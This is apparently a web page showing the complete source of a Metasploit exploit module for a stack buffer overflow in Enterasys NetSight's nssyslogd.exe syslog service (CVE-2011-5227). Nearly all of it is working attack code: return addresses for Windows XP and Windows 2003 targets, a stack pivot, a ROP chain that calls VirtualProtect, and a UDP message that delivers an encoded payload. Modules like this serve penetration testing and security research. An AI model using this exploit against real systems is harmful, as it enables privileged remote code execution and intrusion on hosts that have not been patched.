Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(update_info(info,12'Name' => 'Enterasys NetSight nssyslogd.exe Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in Enterasys NetSight. The15vulnerability exists in the Syslog service (nssylogd.exe) when parsing a specially16crafted PRIO from a syslog message. The module has been tested successfully on17Enterasys NetSight 4.0.1.34 over Windows XP SP3 and Windows 2003 SP2.18},19'Author' =>20[21'Jeremy Brown', # Vulnerability discovery22'rgod <rgod[at]autistici.org>', # Vulnerability discovery23'juan vazquez' # Metasploit module24],25'References' =>26[27['CVE', '2011-5227'],28['OSVDB', '77971'],29['BID', '51124'],30['ZDI', '11-350']31],32'Payload' =>33{34'BadChars' => "\x00",35'Space' => 3000,36'DisableNops' => true,37'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -350038},39'Platform' => 'win',40'Targets' =>41[42['Enterasys NetSight 4.0.1.34 / Windows XP SP3',43{44'Offset' => 43,45'Ret' => 0x77c4e444 # ADD ESP,30 # POP EDX # RETN # from msvcrt46}47],48['Enterasys NetSight 4.0.1.34 / Windows 2003 SP2',49{50'Offset' => 43,51'Ret' => 0x77bdf444 # ADD ESP,30 # POP EDX # RETN # from msvcrt52}53]54],55'Privileged' => true,56'DisclosureDate' => '2011-12-19',57'DefaultTarget' => 158))5960register_options([ Opt::RPORT(514) ])61end6263def junk(n=4)64return rand_text_alpha(n).unpack("V")[0].to_i65end6667def nop68return make_nops(4).unpack("V")[0].to_i69end7071def get_stackpivot72stack_pivot = ''73case target.name74when /Windows XP SP3/75stack_pivot << [0x77c4e448].pack("V") #ret76stack_pivot << [0x77c4e448].pack("V") #ret77stack_pivot << [0x77c4e448].pack("V") #ret78stack_pivot << [0x77c4e448].pack("V") #ret79stack_pivot << [0x77c4e444].pack("V") # ADD ESP,30 # POP EDX # RETN80when /Windows 2003 SP2/81stack_pivot << [0x77bdf448].pack("V") #ret82stack_pivot << [0x77bdf448].pack("V") #ret83stack_pivot << [0x77bdf448].pack("V") #ret84stack_pivot << [0x77bdf448].pack("V") #ret85stack_pivot << [0x77bdf444].pack("V") # ADD ESP,30 # POP EDX # RETN86end87return stack_pivot88end8990def get_payload91my_payload = ''9293case target.name94when /Windows XP SP3/95jmp_esp = [0x77c35459].pack("V")96my_payload << jmp_esp97when /Windows 2003 SP2/98rop_gadgets =99[1000x77bb2563, # POP EAX # RETN1010x77ba1114, # <- *&VirtualProtect()1020x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN103junk,1040x77bb0c86, # XCHG EAX,ESI # RETN1050x77bc9801, # POP EBP # RETN1060x77be2265, # ptr to 'push esp # ret'1070x77bb2563, # POP EAX # RETN108#0x03C0990F,1090x03c09f0f,1100x77bdd441, # SUB EAX, 03c0940f (dwSize, 0xb00 -> ebx)1110x77bb48d3, # POP EBX, RET1120x77bf21e0, # .data1130x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN1140x77bbfc02, # POP ECX # RETN1150x77bef001, # W pointer (lpOldProtect) (-> ecx)1160x77bd8c04, # POP EDI # RETN1170x77bd8c05, # ROP NOP (-> edi)1180x77bb2563, # POP EAX # RETN1190x03c0984f,1200x77bdd441, # SUB EAX, 03c0940f1210x77bb8285, # XCHG EAX,EDX # RETN1220x77bb2563, # POP EAX # RETN123nop,1240x77be6591, # PUSHAD # ADD AL,0EF # RETN125].pack("V*")126my_payload << rop_gadgets127end128129my_payload << payload.encoded130return my_payload131end132133def exploit134connect_udp135136prio = "<"137prio << rand_text_alpha(19)138prio << get_stackpivot139prio << rand_text_alpha(4)140prio << [target.ret].pack("V")141prio << ">"142143message = prio144message << rand_text_alpha(9 + (15 - Rex::Socket.source_address(datastore['RHOST']).length)) # Allow to handle the variable offset due to the source ip length145message << get_payload146147print_status("#{rhost}:#{rport} - Trying to exploit #{target.name}...")148udp_sock.put(message)149150disconnect_udp151end152end153154155